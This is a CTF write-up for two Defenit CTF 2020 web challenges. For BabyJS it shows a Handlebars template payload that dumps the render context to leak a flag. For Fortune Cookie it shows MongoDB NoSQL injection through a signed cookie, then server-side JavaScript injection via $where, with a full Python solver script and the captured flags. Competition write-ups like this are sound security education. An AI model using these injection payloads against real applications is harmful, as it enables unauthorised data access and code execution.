Hello, I'm 8ayac 🐝 This post contains writeups for two challenges I solved at 2020 Defenit CTF. They were Fortune Cookie and BabyJS, both Web challenges.

We finished 55th out of 964 teams with a total of 1,053 points.

IPFactory's result

[Web 248pts] BabyJS (47/964 Solves)

Challenge description

Description
    Render me If you can.

Server
    babyjs.ctf.defenit.kr

Attachments
    babyjs.tar.gz

Overview of the challenge application

Extracting the attachment reveals the application's source code, Docker configuration, and other files. The application uses Express with Handlebars as its template engine.

const express = require('express');
const path = require('path');
const crypto = require('crypto');
const fs = require('fs');
const app = express();

const SALT = crypto.randomBytes(64).toString('hex');
const FLAG = require('./config').FLAG;

app.set('view engine', 'html');
app.engine('html', require('hbs').__express);

if (!fs.existsSync(path.join('views', 'temp'))) {
    fs.mkdirSync(path.join('views', 'temp'));
}

app.use(express.urlencoded());
app.use((req, res, next) => {
    const { content } = req.body;

    req.userDir = crypto.createHash('md5').update(`${req.connection.remoteAddress}_${SALT}`).digest('hex');
    req.saveDir = path.join('views', 'temp', req.userDir);

    if (!fs.existsSync(req.saveDir)) {
        fs.mkdirSync(req.saveDir);
    }

    if (typeof content === 'string' && content.indexOf('FLAG') != -1 || typeof content === 'string' && content.length > 200) {
        res.end('Request blocked');
        return;
    }

    next();
});

app.get('/', (req, res) => {
    const { p } = req.query;
    if (!p) res.redirect('/?p=index');
    else res.render(p, { FLAG, 'apple': 'mint' });
});

app.post('/', (req, res) => {
    const { body: { content }, userDir, saveDir } = req;
    const filename = crypto.randomBytes(8).toString('hex');

    let p = path.join('temp', userDir, filename)

    fs.writeFile(`${path.join(saveDir, filename)}.html`, content, () => {
        res.redirect(`/?p=${p}`);
    })
});

app.listen(8080, '0.0.0.0');

Its features can be summarized as follows.

  • GET /: Page display
    • Renders the view specified by the GET parameter p.
  • POST /: Text submission
    • Creates a file on the server whose contents are the value of the POST parameter content.
    • If there are no problems (described below), redirects to /?p={path of the submitted file} after submission.

Identifying the goal

The line marked with ★ in the following code shows that FLAG is among the variables passed to the view. Submitting a view that renders it should give us the flag.

app.get('/', (req, res) => {
    const { p } = req.query;
    if (!p) res.redirect('/?p=index');
    else res.render(p, { FLAG, 'apple': 'mint' });  // ★
});

However, submitting a view containing just {{FLAG}} is blocked at the line marked ① in the following middleware. Submissions of 200 characters or more also appear to be blocked.

app.use((req, res, next) => {
    const { content } = req.body;

    req.userDir = crypto.createHash('md5').update(`${req.connection.remoteAddress}_${SALT}`).digest('hex');
    req.saveDir = path.join('views', 'temp', req.userDir);

    if (!fs.existsSync(req.saveDir)) {
        fs.mkdirSync(req.saveDir);
    }

    if (typeof content === 'string' && content.indexOf('FLAG') != -1 || typeof content === 'string' && content.length > 200) {  // ①
        res.end('Request blocked');
        return;
    }

    next();
});

The goal, then, is to submit a view of no more than 200 characters without including the string FLAG.

Solution

Using the Handlebars documentation for #each, construct the following payload.

{{#each this}}{{@key}} => {{this.toString}}<br>{{/each}}

Submitting it reveals the flag as shown below.

The page displaying the challenge flag

Explanation

this contains an object like the following. Use the Handlebars built-in helper #each to output all of its keys and toString(value).

{
    settings: {
        'x-powered-by': true,
        etag: 'weak',
        'etag fn': [Function: generateETag],
        env: 'development',
        'query parser': 'extended',
        'query parser fn': [Function: parseExtendedQueryString],
        'subdomain offset': 2,
        'trust proxy': false,
        'trust proxy fn': [Function: trustNone],
        view: [Function: View],
        views: '/app/views',
        'jsonp callback name': 'callback',
        'view engine': 'html'
    },
    FLAG: 'Defenit{w3bd4v_0v3r_h7tp_n71m_0v3r_Sm8}',
    apple: 'mint',
    _locals: [Object: null prototype] {},
    cache: false
}

Flag

Defenit{w3bd4v_0v3r_h7tp_n71m_0v3r_Sm8}

[Web 507pts] Fortune Cookie (15/964 Solves)

Challenge description

Description
    Here's a test of luck!
    What's your fortune today?

Server
    fortune-cookie.ctf.defenit.kr

Attachments
    fortune-cookie.tar.gz

Application overview

Extracting the attachment reveals the application's source code, Docker configuration, and other files. The application uses Express and MongoDB, and its source (data/node/app.py) is shown below.

const express = require('express');
const cookieParser = require('cookie-parser');
const { MongoClient, ObjectID } = require('mongodb');
const { FLAG, MONGO_URL } = require('./config');

const app = express();

app.set('view engine', 'html');
app.engine('html', require('ejs').renderFile);

app.use(cookieParser('🐈' + '🐇'));
app.use(express.urlencoded());


app.get('/', (req, res) => {
    res.render('index', { session: req.signedCookies.user });
});

app.get('/login', (req, res) => {
    res.render('login');
});

app.post('/login', (req, res) => {
    let { username } = req.body;

    res.cookie('user', username, { signed: true });
    res.redirect('/');
});

app.use((req, res, next) => {
    if (!req.signedCookies.user) {
        res.redirect('/login');
    } else {
        next();
    }
});

app.get('/logout', (req, res) => {
    res.clearCookie('user');
    res.redirect('/');
});

app.get('/write', (req, res) => {
    res.render('write');
});

app.post('/write', (req, res) => {

    const client = new MongoClient(MONGO_URL, { useNewUrlParser: true });
    const author = req.signedCookies.user;

    const { content } = req.body;

    client.connect(function (err) {

        if (err) throw err;

        const db = client.db('fortuneCookie');
        const collection = db.collection('posts');

        collection
            .insertOne({
                author,
                content
            })
            .then((result) => {
                res.redirect(`/view?id=${result.ops[0]._id}`)
            }
            );

        client.close();

    });

});

app.get('/view', (req, res) => {

    const client = new MongoClient(MONGO_URL, { useNewUrlParser: true });
    const author = req.signedCookies.user;
    const { id } = req.query;

    client.connect(function (err) {

        if (err) throw err;

        const db = client.db('fortuneCookie');
        const collection = db.collection('posts');

        try {
            collection
                .findOne({
                    _id: ObjectID(id)
                })
                .then((result) => {

                    if (result && typeof result.content === 'string' && author === result.author) res.render('view', { content: result.content })
                    else res.end('Invalid or not allowed');

                }
                );
        } catch (e) { res.end('Invalid request') } finally {
            client.close();
        }


    });
});

app.get('/posts', (req, res) => {

    let client = new MongoClient(MONGO_URL, { useNewUrlParser: true });
    let author = req.signedCookies.user;

    if (typeof author === 'string') {
        author = { author };
    }

    client.connect(function (err) {

        if (err) throw err;

        const db = client.db('fortuneCookie');
        const collection = db.collection('posts');

        collection
            .find(author)
            .toArray()
            .then((posts) => {
                res.render('posts', { posts })
            }
            );

        client.close();

    });

});

app.get('/flag', (req, res) => {

    let { favoriteNumber } = req.query;
    favoriteNumber = ~~favoriteNumber;

    if (!favoriteNumber) {
        res.send('Please Input your <a href="?favoriteNumber=1337">favorite number</a> 😊');
    } else {

        const client = new MongoClient(MONGO_URL, { useNewUrlParser: true });

        client.connect(function (err) {

            if (err) throw err;

            const db = client.db('fortuneCookie');
            const collection = db.collection('posts');

            collection.findOne({ $where: `Math.floor(Math.random() * 0xdeaaaadbeef) === ${favoriteNumber}` })
                .then(result => {
                    if (favoriteNumber > 0x1337 && result) res.end(FLAG);
                    else res.end('Number not matches. Next chance, please!')
                });

            client.close();

        });
    }
})

app.listen(8080, '0.0.0.0');

Its features can be summarized as follows.

  • GET /: Home page
    • Logged in → List of features
    • Not logged in → Link to the login page
  • GET /login: Login page
  • POST /login: Login
    • Sets a signed cookie containing the username.
  • GET /logout: Logout
    • Discards the cookie.
  • POST /write: Document submission
    • Lets users submit text.
  • GET /view: Document list
    • Lists documents submitted by the current user.
    • Shows the document IDs.
  • GET /posts: View submitted content
    • Shows a document's contents when its ID is specified.
    • Does not allow users to view other users' documents.
  • GET /flag: Lottery
    • Reveals the flag if you are lucky.
    • Details follow below.

Identifying the goal

The /flag endpoint reveals the goal.

app.get('/flag', (req, res) => {

    let { favoriteNumber } = req.query;
    favoriteNumber = ~~favoriteNumber;

    if (!favoriteNumber) {
        res.send('Please Input your <a href="?favoriteNumber=1337">favorite number</a> 😊');
    } else {

        const client = new MongoClient(MONGO_URL, { useNewUrlParser: true });

        client.connect(function (err) {

            if (err) throw err;

            const db = client.db('fortuneCookie');
            const collection = db.collection('posts');

            collection.findOne({ $where: `Math.floor(Math.random() * 0xdeaaaadbeef) === ${favoriteNumber}` })
                .then(result => {
                    if (favoriteNumber > 0x1337 && result) res.end(FLAG);   // ★
                    else res.end('Number not matches. Next chance, please!')
                });

            client.close();

        });
    }
})

When all of the following conditions hold, the line marked with ★ reveals the flag.

  • Set the GET parameter favoriteNumber so that !~~favoriteNumber evaluates to True.
    • About ~~
    • This condition rules out a string as the value of favoriteNumber.
  • Set the GET parameter favoriteNumber so that `Math.floor(Math.random() * 0xdeaaaadbeef) === ${favoriteNumber}`, which is passed to collection.findOne() as a condition, evaluates to True.
  • Set the GET parameter favoriteNumber to a value greater than 0x1337.
  • Create at least one document in the posts collection.

The value of Math.floor(Math.random() * 0xdeaaaadbeef) can be enormous, so unless you are exceptionally lucky, repeatedly entering the lottery does not look promising. The goal is therefore to satisfy these conditions through another approach.

Considering a common approach

MongoDB makes NoSQL injection a candidate. Examining the supplied configuration with NoSQL injection in mind shows a viable path to SSJI. If SSJI can be used to change Math.floor() into a function that returns a fixed value, the challenge's conditions can be met.

Looking for NoSQL injection

app.post('/login', (req, res) => {
    let { username } = req.body; // ①

    res.cookie('user', username, { signed: true });
    res.redirect('/');
});

︙

app.get('/posts', (req, res) => {

    let client = new MongoClient(MONGO_URL, { useNewUrlParser: true });
    let author = req.signedCookies.user; // ②

    if (typeof author === 'string') {
        author = { author }; // ③
    }

    client.connect(function (err) {

        if (err) throw err;

        const db = client.db('fortuneCookie');
        const collection = db.collection('posts');

        collection
            .find(author) // ④
            .toArray()
            .then((posts) => {
                res.render('posts', { posts })
            }
            );

        client.close();

    });

});

Explanation

Here is an example of a normal request to POST /login.

POST /login HTTP/1.1
Host: fortune-cookie.ctf.defenit.kr
Content-Length: 16
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
Origin: http://fortune-cookie.ctf.defenit.kr
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://fortune-cookie.ctf.defenit.kr
Accept-Encoding: gzip, deflate
Accept-Language: ja,en-US;q=0.9,en;q=0.8,zh-CN;q=0.7,zh;q=0.6
Connection: close

username=8ayac

Sending this request makes req.body at the line marked ① equal to { username: '8ayac' }. The value associated with the username key becomes the value of the variable username, which is then set as the value of the signed cookie user. The logged-in user subsequently uses this cookie.

Here is an example of the response.

HTTP/1.1 302 Found
Server: nginx/1.14.0 (Ubuntu)
Date: Sun, 07 Jun 2020 01:01:54 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 46
Connection: close
X-Powered-By: Express
Set-Cookie: user=s%3A8ayac.u%2B5zh6Yd%2Fw28iIedhUa9yRii9zcX4thK7%2FANBXHDhXs; Path=/
Location: /
Vary: Accept

<p>Found. Redirecting to <a href="/">/</a></p>

Within POST /posts, the cookie is used in the following order.

  1. Assigned to the variable author at the line marked ② in POST /posts.
  2. Converted to an object at the line marked ③.
  3. Used as the query selector for find() at ④.

For example, if the cookie contains 8ayac, the value is converted to {"author": "8ayac"} at ③. The resulting query retrieves documents whose author is 8ayac.

Because the cookie value can be an object, a request can cause a find query to be issued with arbitrary conditions.

For example, if the cookie contains the object {content:{'$regex':'.*'}}, it is assigned to author at ② and used unchanged at ④. The resulting query retrieves documents whose content matches the regular expression .*.

To set such a value in the cookie, send a request like the following.

POST /login HTTP/1.1
Host: fortune-cookie.ctf.defenit.kr
Content-Length: 14
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
Origin: http://fortune-cookie.ctf.defenit.kr
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://fortune-cookie.ctf.defenit.kr/login
Accept-Encoding: gzip, deflate
Accept-Language: ja,en-US;q=0.9,en;q=0.8,zh-CN;q=0.7,zh;q=0.6
Connection: close

username[content][$regex]=.*

This can be used to set an arbitrary object as the cookie value.

Connecting this to SSJI

MongoDB supports server-side execution of JS through the $where operator.

Reference: https://docs.mongodb.com/manual/core/server-side-javascript/

$where operator that evaluates a JavaScript expression or a function in order to query for documents.

root@5895c47e40e5:/# mongo -u redacted -p redacted
MongoDB shell version v4.2.7
(snip)
> use fortuneCookie
switched to db fortuneCookie
> db.posts.find({ $where: "eval(1+1) == 1" })
> db.posts.find({ $where: "eval(1+1) == 2" })
{ "_id" : ObjectId("5edc178c9ee53600459bd3b0"), "author" : "8ayac", "content" : "hoge" }
{ "_id" : ObjectId("5edc373b9ee53600459bd3b1"), "author" : "8ayac", "content" : "fuga" }

Constructing a payload that changes Math.floor provides the solution.

Solver

#!/usr/bin/env python3
import requests


"""
Constants
"""
URL = 'http://fortune-cookie.ctf.defenit.kr'
N = 588488491  # 共有環境で事故らないように十分に大きい値


"""
Exploit
"""
s = requests.Session()

payload = f"Math.floor = this.constructor.constructor('return {N}'); return 0"
s.post(f'{URL}/login', data={"username[$where]": payload})
s.get(f'{URL}/posts')

flag = s.get(f'{URL}/flag', params={'favoriteNumber': N}).text
print(f'{flag=}')

Result:

$ python3 solver.py
flag='Defenit{c0n9r47ula7i0n5_0n_y0u2_9o0d_f02tun3_haHa}'

Flag

Defenit{c0n9r47ula7i0n5_0n_y0u2_9o0d_f02tun3_haHa}

Thoughts

This is actually my first time publishing a CTF writeup. Seeing the newer members of my club write theirs recently has inspired me.